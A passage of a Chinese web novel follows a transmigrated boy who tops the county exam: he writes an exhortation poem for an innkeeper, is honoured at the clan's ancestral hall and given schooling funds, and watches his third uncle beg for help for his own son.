这里比寻常客房更为宽敞明亮,四壁悬挂着几幅山水雅作,想来是掌柜特意为他准备的。 掌柜将笔墨纸砚小心翼翼地摆放在书案上。 他搓了搓手,脸上堆满了真诚的笑容,却又带着一丝难以启齿的羞赧。 “陆公子大才,小人斗胆,想请公子为小店留下一幅墨宝,以作纪念。” 他顿了顿,见陆明渊神色平静,这才鼓起勇气,语速稍快了几分。 “小人绝不敢将此墨宝悬于大堂招摇过市,只愿将其珍藏于公子曾下榻的房间内,一来是沾沾文气,二来也算留个念想。” “当然,小人也知此举唐突,区区薄礼,一百两纹银,还望公子莫要嫌弃。” 一百两纹银,并非小数目。 在这个时代,足以让寻常人家一辈子衣食无忧,甚至可在县城购置一套不错的宅院。 掌柜将这份“感谢费”说得如此委婉,足见其精明与对陆明渊的敬重。 他深知,县试魁首的墨宝,其价值远非金银所能衡量。 陆明渊此刻只是县试魁首,这份“魁首”的含金量,随着他未来仕途的走高,将呈几何级数增长。 若他日乡试、会试皆中,乃至金榜题名,这百两银子,便是千金万金也难求的泼天富贵。 陆明渊没有故作推辞。 他知晓,人情往来,贵在坦诚与恰如其分。 他微微一笑,目光落在案上的笔墨之间。 “掌柜有心了。”他轻声答应下来。 掌柜闻言,顿时如释重负,脸上肥肉颤动,喜不自胜。 他连忙躬身,连连称谢,仿佛得了什么天大的恩赐。 陆明渊拿起笔,墨汁在砚台中研磨开来,发出细微的沙沙声。 他凝神静气,笔尖饱蘸墨汁,然后缓缓落于宣纸之上。 墨迹在雪白的宣纸上洇开,透着一股清雅而刚劲的气韵。 他所书的,并非流传已久的千古名篇,而是他前世记忆中一首经典的劝学诗,字字珠玑,掷地有声: “三更灯火五更鸡,正是男儿读书时。 黑发不知勤学早,白首方悔读书迟。” 诗成,墨迹未干,一股凛然正气已然充盈书房。 这首诗,既是他对自身过往三年虚度的警醒,亦是他对未来求学之路的鞭策与明志。 它与他“圣人托梦,醍醐灌顶”的人设完美契合。 这解释了陆明渊为什么曾经选择下地种田,后来又选择读书! 任谁看了都要夸赞一句,好一个及时醒悟的少年郎! 掌柜在一旁目不转睛地看着,当陆明渊搁笔,他迫不及待地凑上前去。 当看清纸上的内容时,他先是微微一怔,随即双眼猛地亮了起来,脸上肥肉激动地微微颤抖。 这……这竟是一首从未听闻过的诗! 而且,字字珠玑,意蕴深远,其文采,其立意,绝不在那些传世名篇之下! 甚至,因其劝学之意,更显振聋发聩! “好诗!好诗啊!” 掌柜激动得语无伦次,连连拱手,看向陆明渊的目光,已然从敬重变成了近乎狂热的崇拜。 他原以为,能得魁首墨宝已是天大幸事,不曾想,竟还是一首全新的、足以流传后世的绝妙诗篇! 这哪里是百两银子能衡量的? 这简直是无价之宝! 福来客栈,有了这幅墨宝,有了这首诗,他日必将名传江陵,甚至名扬州府! 掌柜小心翼翼地捧起墨宝,如获至宝。 他将墨宝仔细收好,又亲自送陆明渊离开客栈,那份殷勤与恭敬,比昨日更甚。 他来到四宝斋,这是县城里最大的一家文房店铺,兼营字画古玩,也做些牙行的生意。 店老板是个五十来岁的中年人,姓张,精明能干,消息灵通。 张老板一见陆明渊进门,立刻堆起满脸的笑容,快步迎了上来。 “哎哟,陆公子大驾光临,小店蓬荜生辉啊!” 他躬身作揖,比昨日掌柜的还要夸张几分。 陆明渊微微颔首,开门见山道。 “张老板,小子今日前来,是想劳烦您一件事。” “陆公子请说,但凡小人能办到的,赴汤蹈火,在所不辞!” “小子想在县城寻一处宅院。” 陆明渊说着,从袖中掏出二两碎银,放在柜台上。 “这是定金,劳烦张老板费心,小子想寻一处两进两出,最好有四个房间的院子。” 张老板看到那二两银子,却如避蛇蝎般连忙摆手。 “哎哟,陆公子这是折煞小人了!您如今是县试魁首,前途无量,小人岂敢收您的定金?” 他将银子推回,脸上笑容不减,却又带着一丝严肃。 “陆公子尽管放心,寻房子的事,包在小人身上!小人保证,一定给陆公子寻到一处称心如意、风水上佳的宅院!” 张老板心里清楚,这笔生意,利润固然重要,但能与魁首攀上关系,才是真正的无价之宝。 日后陆明渊高中进士,乃至入朝为官,这层关系带来的隐形利益,远超区区几两定金。 他现在不收定金,反而是示好,更是投资。 陆明渊见状,也没有坚持。 他收回银子,眼中掠过一丝了然。 这世间的人情世故,比他想象的还要复杂,却也比他想象的更加直接。 他要做的,便是顺势而为,借势而起。 “那便有劳张老板了。” 他语气温和,带着恰到好处的谢意。 “不劳烦!不劳烦!能为陆公子效劳,是小人的荣幸!” 张老板连连拱手,笑容满面地将陆明渊送至门口。 第050章 这世上哪有那么多侥幸 张老板连连拱手,笑容满面地将陆明渊送至门口。 回到客栈,陆从文已然换上了一身崭新的粗布衣裳。 他正焦躁地在房间里踱步,一见陆明渊推门而入,立刻迎了上来。 “渊儿,你可算回来了!爹都收拾好了,咱们这就回村,你娘肯定早就盼着了!” 陆从文的声音带着些许颤抖。 陆明渊看着父亲这般模样,心中微动。 前世的记忆与今生的情感交织,让他对这个憨厚老实的男人,生出了一股说不清道不明的责任感。 “爹,不急。” 陆明渊温和一笑,示意父亲坐下。 “爹,等回了村,咱们先去见奶奶。有些事,我得跟她说清楚。” 陆明渊的语气平静。 他要与大房分家,带着父母搬到县城居住。 接下来,他要全力科举,与三叔一家继续纠缠,只会徒增烦恼,分心扰神。 他甚至连分家的后路都想好了。 他会拿出二十两纹银,这笔钱足以让父亲在县城里置办一个小买卖,维持一家人的日常开销绰绰有余。 至于村里的田地,可以租给旁人耕种,每年也能收些租子,作为额外的贴补。 如此一来,父亲也能寻得一份体面的营生,而他,也能心无旁骛地投入到学业之中。 他不想因为家务琐事,影响了科举之途。 父子二人收拾妥当,离开了客栈。 一路上,陆从文的脸上始终挂着喜悦的笑容。 他换上新衣裳,似乎连步子都轻快了许多。 然而,当他们行至陆家村口时,眼前的景象却让陆从文愣住了。 村口那棵老槐树下,平日里只有三三两两闲聊的村民,此刻却聚集了乌压压一大片人。 他们伸长了脖子,翘首以盼。 当看到陆从文和陆明渊的身影出现在视线中时,人群中先是一阵骚动。 紧接着便爆发出震耳欲聋的欢呼声。 “明渊回来了!魁首回来了!” 呼喊声此起彼伏,如同潮水般涌来。 村民们争先恐后地围了上来,一张张或熟悉或陌生的面孔,此刻都堆满了热情的笑容。 他们将陆从文和陆明渊团团围住,你一言我一语,叽叽喳喳地说个不停。 “哎哟,从文啊!你可算回来了!我家老黄昨日就念叨着,说要备下好酒,给你家魁首接风洗尘呢!” “是啊是啊!陆老大,你可真是有福气啊!生了个好儿子!明渊这孩子,打小我就看着他长大,就知道他不是池中物!” “明渊啊!你还记得不?小时候你摔破了膝盖,是我给你包扎的!以后出息了,可别忘了乡亲们啊!” 一个个往日里陌生至极的村民,此刻都热情无比! 陆从文被这突如其来的热情弄得有些手足无措,他憨厚地笑着,不住地点头拱手,嘴里连连应道。 “记得,记得,都记得……” 他的脸上,是抑制不住的兴奋和高兴,多年的隐忍与不被重视,在这一刻得到了彻底的释放。 他感受到了前所未有的尊重,那是儿子为他挣来的荣耀。 陆明渊则表现得沉稳许多。 他微笑着,不时向村民们拱手致意。 口中说着些“多谢乡亲们抬爱”、“小子定不负众望”之类的客套话。 从村头到陆家,平日里一炷香的工夫便能走完的路程,今日却足足走了半个时辰。 陆从文和陆明渊被热情的人群簇拥着,一路走走停停,应付着一波又一波的恭维与攀谈。 直到陆明渊的耐心也快要耗尽时,他们才终于得以挣脱人群,踏入了陆家的院门。 陆家内,气氛却与村外的喧嚣截然不同。 正堂之上,老太太陈氏早已收到了孙子高中魁首的消息。 她此刻正端坐在太师椅旁,脸上虽然挂着兴奋的笑容,但眉宇间却又带着一丝紧张与期待。 然而,真正居于上首的,并非是老太太,而是陆家族长,陆厚德。 他身着一袭深色长衫,面容清瘦,双目炯炯有神,不怒自威的气度,让整个堂屋都显得庄重肃穆。 陆明渊与陆从文一踏入正堂,老太太陈氏便立刻拄着拐杖,颤颤巍巍地迎了上来。 她的目光落在陆明渊身上,眼中满是慈爱与骄傲。 “渊儿,你可算回来了!快,快来见见你陆爷爷!” 老太太的声音带着几分急切,指了指上首的陆厚德。 陆明渊闻言,立刻上前几步,准备按照礼数,向这位与他爷爷同辈的族长行礼。 然而,不等他开口,陆厚德却已然主动起身。 这位在陆家村拥有崇高地位的族长,竟快步走到陆明渊面前,伸出双手,将正要躬身行礼的陆明渊轻轻搀扶了起来。 他的脸上,此刻也洋溢着真挚而浓郁的笑容,眼中满是赞赏与欣慰。 “好孩子!好孩子啊!” 陆厚德拍了拍陆明渊的肩膀,语气中带着难以言喻的激动。 “你是我陆家村一百多年来,第一个县试魁首!虽然还不是秀才身份,但能高中魁首,日后一个举人那是免不了的!” “老夫何德何能,敢让未来的举人老爷给我鞠躬?” 他的声音洪亮而有力,在堂屋中回荡。 “陆爷爷谬赞了,孙儿不过是侥幸而已。” 陆明渊不卑不亢地回应道,语气谦逊。 陆厚德笑着摇了摇头,目光在陆明渊身上停留了片刻。 “侥幸?这世上哪有那么多侥幸!” 陆厚德朗声笑道。 “你今日之成就,是上天眷顾,更是你自身勤奋苦读所得!” “老夫今日来此,便是专门等你回来,要为你陆明渊,为我陆家村,做一件天大的喜事!” 他顿了顿,目光扫过在场的陆从文和老太太,最终又落在陆明渊的脸上,语气变得更加郑重。 “老夫打算,开祠堂!祭先祖!告慰我陆家列祖列宗,我陆氏一门,终于出了一个县试魁首!” “这是天大的喜事,合该让祖宗们也知道,我陆家,又要兴旺起来了!” 陆厚德的话语,掷地有声,带着一股不容置疑的威严与喜悦。 开祠堂祭祖,这在寻常百姓家中是极其隆重的仪式,尤其是在宗族观念深厚的古代,更是家族中最高规格的荣耀。 陆从文听到族长要开祠堂,激动得嘴唇直哆嗦,眼眶都有些泛红。 老太太更是双手合十,连连念叨着“祖宗保佑”。 陆明渊却是淡定许多,垂首拱手,语气平静道! “多谢陆爷爷,多谢族长厚爱。” 第051章 届时,你便是我陆氏一门真正的 然而,这份平静落在老太太陈氏耳中,却激起了滔天巨浪。 她拄着拐杖的手有些颤抖,不是因为虚弱,而是因为那股从心底里涌出的骄傲。 “老天爷啊……渊儿,你……你可真是给咱们陆家争光了!” 老太太的声音沙哑,带着哭腔。 她从未想过,自己有生之年,竟能看到陆家村为她的孙子单独开祠堂祭祖。 那份压抑了多年的期盼与委屈,在此刻尽数化作了眼底的泪光,闪烁着,滚落着。 陆厚德见状,脸上的笑容更深了几分。 “好孩子,不必过谦。这份荣耀,是你应得的。” 陆厚德说着,目光转向了堂屋门口,那里的光线被屋外聚集的人影阻隔,显得有些昏暗。 但他知道,那些被消息吸引而来的村民,那些陆氏的族人,此刻正伸长了脖子,等待着祠堂开启的吉时。 他随即转身,洪亮的声音在堂屋中回荡,带着一股不容置疑的威严。 “从文,渊儿,随我来!开祠堂,祭先祖!” 话音刚落,陆厚德便率先迈步,朝着祠堂的方向走去。 陆明渊点头应允,他并未多言,只是沉稳地跟在陆厚德身后。 陆从文则激动得险些跟不上,他看了一眼老太太。 只见老太太正用颤抖的双手抹着眼泪,嘴里还不住地念叨着“祖宗保佑”,脸上的笑容却再也无法掩饰。 父子二人一前一后,穿过陆家院子,走向村口那座古朴肃穆的祠堂。 沿途,村民们看到族长亲自带领陆明渊前往祠堂,无不感到震惊与敬畏。 “瞧见没,族长亲自领着明渊去祠堂呢!” “那是自然!县试魁首啊!咱们陆家村多少年没出过这等人物了?” “这可是天大的荣耀!老祖宗们在天有灵,也该含笑九泉了!” 祠堂前,早已聚集了村里所有德高望重的长辈和族老。 他们身着整洁的衣裳,神色肃穆,在得知族长要为陆明渊开祠堂祭祖后,便自觉地在此等候。 当陆厚德带着陆明渊出现时,众人的目光齐刷刷地落在陆明渊身上,有好奇,有审视,但更多的,却是掩饰不住的赞许与敬意。 祠堂的大门被缓缓推开,发出“吱呀”一声沉重的声响。 祠堂内,一排排灵位整齐地摆放着,上方悬挂着“光耀门楣”的牌匾,两侧楹联上书“厚德载物,继往开来”。 陆厚德站在祠堂正中,他的目光扫过在场的每一个人,最终落在陆明渊的脸上。 他沉声宣布:“今日,我陆氏一门,有幸迎来县试魁首陆明渊,特此开祠堂,祭告先祖!” 随着他的话语,一名族老上前,点燃了供桌上的香烛。 青烟袅袅升起,在祠堂内弥漫开来。 陆厚德亲自执香,恭敬地向列祖列宗行三跪九叩大礼。 口中念念有词,将陆明渊高中魁首的喜讯,一字一句地告慰给九泉之下的先祖。 祭拜完毕,陆厚德又命人取来族谱,亲自翻到空白的一页。 他提笔蘸墨,遒劲有力地写下了陆明渊的名字,以及他高中县试魁首的赫赫功绩。 “陆明渊,大乾丙辰年县试魁首,光耀门楣,功载史册!” 陆厚德朗声念道,声音中充满了骄傲与自豪。 然而,在祠堂的一角,一个身影却与这欢庆的氛围格格不入。 那人正是陆明渊的三叔,陆从智。 他站在人群的末尾,被几名族人遮挡,面容在阴影中显得有些扭曲。 他的双眼死死地盯着端坐在首座上的陆明渊,以及族长手中那正在记载功绩的族谱,眼中充满了嫉妒与不甘。 这些荣耀,本该属于他的儿子陆明文! 本该是陆明文为陆家村争光,为他陆从智挣来脸面! 可现在,一切都成了陆明渊的! 他儿子陆明文成了个笑话,成了个衬托陆明渊的小丑! 他死死地攥紧拳头,眼神中满是嫉妒的火焰。 祠堂祭祖的仪式终于完成,陆厚德带着陆明渊,转身离开了祠堂。 他并未直接返回正堂,而是径直走向了祠堂后方的一间书房。 这间书房,平日里是族老们议事、查阅族谱典籍的地方。 寻常族人,便是成年男子也鲜少能踏足,更遑论是年仅十岁的少年。 陆明渊作为第一个被族长带入此地的年轻人,无疑再次打破了陆家村的惯例。 书房内,陈设简朴却不失雅致。 一排排书架上摆满了泛黄的古籍,空气中弥漫着淡淡的墨香与纸张的陈旧气息。 几位德高望重的族老早已在此等候,他们见陆厚德和陆明渊进来,纷纷起身相迎。 “明渊啊,快坐。” 一位白发苍苍的族老和蔼地指了指一旁的椅子。 陆明渊恭敬地向各位族老拱手行礼,这才依言坐下。 陆厚德在主位落座,目光温和地落在陆明渊身上。 “明渊,近来可好?学业可有长进?” “回陆爷爷,族老们,小子一切安好,学业也未曾懈怠。” 陆明渊不卑不亢地回答,语气沉稳。 “嗯,好,好!” 陆厚德满意地点了点头,随即又将目光转向一旁显得有些拘谨的陆从文。 “从文啊,你家这些日子可还好?家里可有什么难处?” 陆从文闻言,身子微微一颤,他从未想过,自己也能得到族长和族老们的亲自垂询。 他受宠若惊,连连摆手,憨厚地笑道。 “回族长,回各位族老,家里都好,都好得很!没……没什么难处!” 陆厚德看着陆从文这副老实巴交的模样,眼中闪过一丝复杂的情绪。 陆家当年的事情,他是知道的! 但那是家事,他也不好多说什么! 陆厚德轻轻摇了摇头,随后语气一转,变得郑重而有力. “从文啊,你是个老实人,这些年为族里也尽心尽力了。明渊能有今日成就,你这个做父亲的,功不可没。” 他顿了顿,目光再次落在陆明渊身上,随即提高了声音。 “老夫今日召集族老们来此,便是要商议一件大事。” “明渊已然高中县试魁首,其才学,已非寻常私塾所能教导。我陆家村,不能耽误了这块璞玉!” 此言一出,在场的族老们皆是面色一凛,齐齐望向陆厚德,等待他接下来的话语。 “老夫决定,” “从今日起,送陆明渊去县里的府学读书!每年的束脩、笔墨纸砚,一切开销,都由族里全部承担!” 这个决定,犹如一道惊雷,在书房中炸响。 陆从文更是激动得浑身颤抖,他张了张嘴,却说不出一句话来,眼眶瞬间湿润。 去府学读书!那可是多少贫寒学子梦寐以求的求学之地! 而且,族里竟然愿意承担所有的费用!这简直是天大的恩赐! 陆厚德没有理会陆从文的激动,他继续说道。 “明渊,你只管安心读书,心无旁骛地投入到学业之中,争取早日考中秀才,乃至举人!” “你无需担心家中的琐事,更不必为生计发愁。我陆家村,就是你的坚实后盾!族里上下,都会全力扶持你!” 随后,陆厚德又转向陆从文,语气稍微柔和了一些。 “从文,你与王氏这些年,也辛苦了。族里不能让你们白白付出。” “从今天开始,族里会另外划拨十亩水田给你,作为奖励。这些水田,每年收成,足以让你们一家衣食无忧,再无后顾之忧。” 十亩水田!这对于一个普通农户而言,无疑是一笔巨大的财富! 陆从文连连作揖,声音哽咽。 “多谢族长!多谢各位族老!从文……从文无以为报!” 陆厚德摆了摆手,示意他不必多礼,然后又看向陆明渊,眼神中带着一丝深远的期许。 “明渊,这只是开始。若你日后能高中乡试,考取举人功名,族里还另有赏赐!” “届时,你便是我陆氏一门真正的骄傲!” 第052章 痛哭流涕的三叔 “届时,你便是我陆氏一门真正的骄傲!” 陆从文闻言,激动得几乎要站不稳脚跟。 他连连拱手,神情激动不已。 “多谢族长,多谢各位族老!从文何德何能……族里这般厚爱,从文无以为报!” 他声音哽咽,眼眶通红,几乎要落下泪来。 这突如其来的恩典,让他这个老实人有些手足无措,只知道一个劲儿地推辞。 “族里已经为渊儿花费不少,如今又划拨水田,这……这如何使得!” “从文和妻子身子骨都还硬朗,能挣钱养家,渊儿的束脩,我们自己也能凑……” 陆从文知道自己儿子如今出息了,束脩的费用,早已不是问题! 他不敢欠下如此大的恩情! 然而,陆明渊却在这个时候轻轻打断了父亲的话。 他上前一步,向陆厚德和各位族老深深一揖,语气沉稳而庄重。 “陆爷爷,各位族老,小子在此谢过族里厚爱。陆氏一族的培育之恩,明渊铭记于心。” “他日若能蟾宫折桂,必不负陆家村所望,定当竭尽所能,光耀门楣,兴复陆家荣光!” 陆明渊很清楚,他在这方世界孤身一人,难以成事。 日后若是真的想要取得一些成绩,少不了族里臂膀! 正所谓众人拾柴火焰高,他这具身躯流着陆氏家族的血,这是抹不去的羁绊! 与其日后尴尬,不如现在便接受族里的好意,这样也省的父母难做! 陆厚德闻言,眼中精光一闪。 “好!好一个‘光耀门楣,兴复陆家荣光’!” 陆厚德抚掌大笑,连连点头,看向陆明渊的目光中,已然多了一份长辈对晚辈的殷切嘱托。 “有你这句话,老夫便放心了。去吧,好好读书,族里是你最坚实的后盾!” …… 暮色渐浓,陆家村的炊烟袅袅升起。 陆明渊谢过族长和族老们,带着父亲回到家中。 一踏入陆家院门,一股熟悉的饭菜香便扑面而来。 老太太陈氏早已在正堂等候,一见陆明渊进门,便拄着拐杖颤颤巍巍地迎了上来。 “渊儿,我的好孙儿!你可算回来了!” 老太太一把抓住陆明渊的手。 她仔细端详着陆明渊,仿佛怎么也看不够似的。 “快,快进屋!奶奶给你收拾了房间,衣裳也给你准备好了,都是新的!” “以后你可不能再下地了,你是咱们陆家的文曲星,是读书人!” “渊儿,你只管安心读书,好好科举。家里就是不吃不喝,砸锅卖铁,也得把你的束脩凑够,让你无后顾之忧!” 陆明渊心中微动,他温和一笑,轻声回应。 “奶奶,您言重了。族长已经承诺,以后明渊的束脩,以及笔墨纸砚等一切开销,都由族里全部承担。” 老太太闻言,浑身一颤,眼中闪过一丝难以置信的惊喜。 “当真?” 她声音有些发颤,几乎不敢相信自己的耳朵。 陆明渊点点头,继续说道。 “不仅如此,族里还要另外划拨十亩水田给爹,作为嘉奖。以后咱们家,再也不用为生计发愁了。” 这番话,犹如一道惊雷,彻底点燃了老太太心中的狂喜。 “天爷啊!这……这可真是天大的好事!” 老太太激动得双手合十,连连念叨着“祖宗保佑”。 “咱们陆家,这是熬出头了!好日子要来了!好日子要来了啊!” 她拉着陆明渊的手,语重心长地嘱咐道。 “渊儿啊,你可要记住,以后万事以学习为重,以科举为先!其他的事情,都往后放一放,不重要!不重要!” 陆明渊郑重地点头:“奶奶放心,明渊定不负众望,定会好好科举,争取早日考取功名,光耀门楣!” 老太太听了,更是心花怒放,脸上的笑容再也无法掩饰。 正当祖孙二人言语间,房间的木门,却突然被“吱呀”一声推开。 一道身影,带着几分局促与不安,出现在门槛处。 那人正是陆明渊的三叔,陆从智。 他脸上带着一丝不自然的讨好,身后还跟着一个瘦高的少年,正是陆明文。 陆从智一进屋,便“噗通”一声,带着身后的陆明文,双双跪在了老太太陈氏的面前。 “娘!娘啊!” 陆从智的声音带着几分哭腔,他一把鼻涕一把泪地抹着脸。 “娘,您……您可要看一看明文啊!” 陆从智一边哭,一边磕头,那“咚咚”的声响,在静谧的房间里显得格外刺耳。 “娘,咱们家明文,今年也高中了县试!他……他也是咱们陆家的读书种子啊!” “他未来,也是有机会成为秀才,成为举人的啊!他也能光耀陆家的门楣啊!” 陆从智声泪俱下,语气中带着一丝不哀求不罢休的决绝。 “娘,您……您是不是也应该给咱们明文一个求学的机会啊……” 陆从文看着三弟这般狼狈的模样,心头猛地一沉,一种难以言喻的酸楚与局促,瞬间涌上心头。 他这三弟,向来是个精明算计的人,平日里鲜少这般低三下四。 如今却为了儿子,竟能不顾脸面,直挺挺地跪在老母亲面前,涕泗横流。 这副景象,让陆从文这个老实巴交的农家人,只觉得浑身不自在。 “三弟!三弟你这是作甚!” “快起来,快起来!咱们是亲兄弟,有什么话不能好好说,非要这般糟践自己?” “传出去,岂不是让外人笑话,说我们陆家兄弟不和睦?” 他力气不小,可陆从智却死死地跪在地上,任凭陆从文如何使力,也纹丝不动。 陆从智眼中布满了血丝,声音沙哑。 “娘,大哥,我知道,渊儿高中县试魁首,那是天大的喜事,他应得宗族厚爱,那是他凭本事挣来的!” “我打心眼里替渊儿高兴,替陆家高兴!” 可……可咱们家明文,他……他今年也中了县试啊!” “虽说比不上渊儿那般风光,没能夺得魁首,可他也是陆家村近十年来,头一个考中县试的啊!” 他的声音越来越高,带着几分压抑不住的委屈与不甘。 “宗族里,只是口头劝慰了几句,便再无下文了啊!连个像样的奖励都没有!” “他……他以后读书怎么办?高家府学,每年二十两银子的束脩,笔墨纸砚,衣食住行,桩桩件件,哪一样不要钱?” “我们一家人,便是砸锅卖铁,也根本供应不起啊!” 说着,陆从智竟转而朝着陆从文的方向,重重地磕了一个头。 那“咚”的一声,像是敲在了陆从文的心上,让他这个平日里不善言辞的汉子,瞬间红了眼眶。 “大哥,您……您现在是渊儿的爹,渊儿的未来一片坦途,有宗族全力供养,根本无需您操心了!” “可我们家明文呢?他前途迷茫,若是不能去府学读书,又如何能继续考府试,考院试?” 他抬起手,狠狠地扇了自己一个耳光。 “我没本事!我陆从智没本事!只能眼睁睁看着儿子的大好前程,就此断送!” “大哥,求您了!求您帮帮明文,帮帮我这个侄子!给他一个读书的机会啊!” “大哥,娘,您们想想!以后渊儿若是真的蟾宫折桂,去了京城,做了大官,身边总得有个知根知底的人照应着吧?” “明文若是也能考取功名,哪怕只是个秀才,也能为渊儿分忧啊!” “咱们陆家,多一个读书人,便多一份力量!总不能让渊儿一个人,孤零零地去京城闯荡,身边连个帮衬的人都没有啊!” 第053章 一切看在眼里,听在耳里 这番话,带着几分隐晦的“捆绑”之意,将陆明文与陆明渊捆绑在了一起。 就在陆从智声嘶力竭地哭求之际,一直沉默地跪在他身后的瘦高少年——陆明文,也终于抬起了头。 他那张略显苍白的脸上,挂满了泪痕,眼中却闪烁着与他父亲如出一辙的焦急与渴望。 他学着父亲的模样,朝着老太太陈氏,又朝着陆从文,重重地磕下了头。 “奶奶!大伯!明文求您们了!求您们给明文一个读书的机会!” 陆明文的声音带着少年特有的清亮,却也因哭泣而变得颤抖。 “明文发誓,一定会好好读书,日夜苦读,绝不辜负您们的期望!” “明文没有渊弟那般的天赋,但明文一定会拼尽全力,争取早日考取功名,光耀陆家门楣!” 他抬起头,目光坚定地望向了陆明渊,那眼神中,没有丝毫嫉妒,只有一种近乎虔诚的恳求与承诺。 “渊弟,你放心,明文知道自己比不上你,但明文以后一定会全力帮助你!” “咱们兄弟二人,一起光耀陆家的门楣!” 老太太陈氏被这祖孙二人的连番哭求,震得有些不知所措。 她那原本因喜悦而红润的脸庞,此刻已是布满了愁云。 手心手背都是肉,陆明渊是她的骄傲,陆明文也是她的孙儿。 一边是宗族已定的恩典,一边是血脉至亲的哀求,这让她一个老妇人,如何抉择? 她的目光,不由自主地转向了始终保持着沉静的陆明渊。 陆明渊将这一切看在眼里,听在耳里。 他没有急着开口,只是静静地看着跪在地上的三叔和堂弟。 此刻若是他能妥善处理,不仅能解决眼前的难题,更能为自己在族中树立起真正的威望。 陆明渊的目光,缓缓扫过跪在地上的三叔和堂弟,又掠过满脸愁容的老太太,最终落在了父亲陆从文那张写满了纠结与无奈的脸上。 他深吸一口气,上前一步,扶起了老太太,然后才转向了陆从智。 他的声音,带着一种不容置疑的沉稳,却又没有丝毫的倨傲,反而透着一股让人信服的清明。 “三叔,明文,你们先起来。” 陆明渊的语气很轻,却仿佛能穿透人心,让人不由自主地顺从。 “有什么话,咱们坐下来慢慢说,这般跪着,成何体统?” 陆从文见状,心中一松,连忙加大了手上的力道,再次去搀扶自己的三弟。 “三弟,听渊儿的,快起来!天大的事,咱们兄弟俩一起扛!你这样,不是在剜大哥的心吗?” 这一次,陆从智没有再固执地跪着。 他被陆从文半拉半拽地扶了起来,双腿因跪得太久而有些发麻,一个踉跄,险些再次摔倒。 陆从文眼疾手快地扶稳了他,拍了拍他身上的尘土。 “你看看你,这叫什么事儿!明文也快起来,地上凉。” 陆明文也听话地站起身,低着头,不敢看长辈们的眼睛。 他只能默默地站在陆从智身后,双手紧紧地攥着衣角。 陆从文叹了口气,他一辈子面朝黄土背朝天,最见不得的就是亲人受苦。 如今,侄子好不容易考中了县试,却要因区区二十两银子的束脩而断了前程。 这让他这个做大伯的,心里如何过得去? 他转过头,看着自己那满脸愁容的老母亲,又看了看沉稳得不像个少年的儿子陆明渊。 最后目光落在了三弟陆从智的脸上。 陆从文一咬牙,心一横,像是下定了什么决心,蒲扇般的大手重重地拍在了陆从智的肩膀上。 “三弟!你说的这是什么话!” 他的声音粗犷而响亮,带着不容置疑的决绝。 “明文也是我的亲侄子,是咱们陆家的种!” “他有出息,肯上进,我这个做大伯的,怎么可能眼睁睁看着他没书读!”” “咱们是亲兄弟,打断骨头还连着筋!你的儿子,就是我的儿子!” “以后明文读书的钱,我和你一起帮衬着!只要我陆从文还有一口气在,就绝不会让明文辍学!” 这番话,他说得斩钉截铁,掷地有声。 听到这番话,陆从智眼角闪过一道精光! 成了! 陆从智在心中狂喜地呐喊。 他就知道,大哥这个老实人,最是心软,也最重情义。 尤其是老爷子临终前,曾拉着大哥的手,再三叮嘱,一定要照顾好这个家,照顾好他们几个兄弟。 大哥把老爷子的话,当成了刻在骨子里的信条。 只要自己把姿态放得足够低,把话说得足够惨,再把明文和明渊的未来捆绑在一起,大哥就绝对不会坐视不理。 如今看来,果然如此! 明文去高家府学的事,这下算是十拿九稳了! 压在心头最大的一块石头轰然落地,陆从智只觉得浑身一轻,积压了多日的郁气一扫而空。 他眼圈一红,这次却是真的被感动到了,声音哽咽地喊了一声:“大哥!” 千言万语,都化作了这一声饱含复杂情感的呼唤。 一旁的老太太陈氏,看着两个儿子终于和好,那颗悬着的心也总算是放了下来。 她用袖子擦了擦眼角的泪花,脸上露出了欣慰的笑容。 “这就对了,这就对了嘛……” 她颤巍巍地走上前,一手拉着一个儿子,声音中带着几分感慨。 “咱们家,好不容易出了两个读书的苗子,这是祖宗保佑啊!再难的日子,咱们兄弟同心,帮衬着也就过去了。” 她转头对大儿子陆从文说道。 “从文啊,你做得对。你三弟一家确实不容易,这么多年,勒紧裤腰带供着明文读书,如今孩子有了出息,咱们做长辈的,理应拉他一把。” “以后明文若是也能考个秀才功名,那也是咱们陆家的荣耀。” “将来渊儿在外面做官,身边有明文这个知根知底的兄弟帮衬着,咱们在家里也能更放心不是?” 陆从文连连点头,瓮声瓮气地应道:“娘,您放心,儿子省得。只要有我吃的,就饿不着三弟一家。” 陆从智听着这话,更是感动得无以复加,连连向大哥和老娘道谢。 晚饭时分,压抑的气氛一扫而空。 桌上虽然只是些粗茶淡饭,一碟咸菜,一盆杂粮粥,但一家人的心情却格外舒畅。 陆从文和陆从智兄弟俩,难得地小酌了几杯。 两人说着小时候的趣事,不时发出一阵阵爽朗的笑声,仿佛又回到了从前那般亲密无间的日子。 饭后,送走了三叔和堂弟,陆明渊回到了自己的厢房。 房间不大,却被收拾得井井有条。 一张半旧的书案上,整齐地码放着几本已经翻得起了毛边的经义策论,笔墨纸砚也摆放得一丝不苟。 他点亮了桌上的油灯,豆大的火苗轻轻跳跃着,将他清瘦的身影投射在墙壁上。 他没有立刻开始温书,而是从笔筒中取出一支半秃的狼毫,铺开一张粗糙的草纸,凝神静气,开始练字。 他的字,一笔一划,都显得极为沉稳有力,锋芒内敛。 与他这个年纪的少年人截然不同,透着一股饱经风霜的成熟与老练。 就在他沉浸在笔墨的世界中时,一个梳着冲天辫的小脑袋,悄悄地从门后探了出来。 是他的亲弟弟,陆明泽。 小家伙手中抓着一个黄澄澄的窝窝头,正小口小口地啃着,腮帮子鼓鼓的。 他看到哥哥在写字,黑葡萄似的大眼睛眨了眨,便迈着小短腿,“蹬蹬蹬”地跑了进来。 “锅锅……” 小家伙口齿不清地喊着。 陆明渊闻声,停下了笔,转过头,脸上露出一抹温和的笑意。 “明泽,怎么还没睡?” 陆明泽跑到书案前,仰着小脸,将手里啃了一半的窝窝头,费力地举到陆明渊的嘴边。 “锅锅,七(吃)!” 那窝窝头是粗粮做的,口感粗粝,剌嗓子,但在此刻的陆明渊眼中,却比任何山珍海味都要香甜。 白日里因三叔一家而泛起的那一丝不悦,早已烟消云散。 是啊,他为何要读书? 为何要拼了命地往上爬? 第054章 我不是说租房子,而是买一套 不就是为了让奶奶能安享晚年,让老实本分的父亲能挺直腰杆,让母亲不再为柴米油盐操劳。 让可爱的弟弟能无忧无虑地长大,能吃上白面馒头,而不是这难以下咽的窝窝头吗? 想到这里,陆明渊的心中涌起一股暖流。 他笑着摸了摸弟弟的头,柔声道:“哥哥不饿,明泽自己吃,快快长大。” 陆明泽似懂非懂地点了点头,又“啊呜”一口,咬下了一大块窝窝头,心满意足地咀嚼起来。 看着弟弟这般天真可爱的模样,陆明渊只觉得浑身充满了力量。 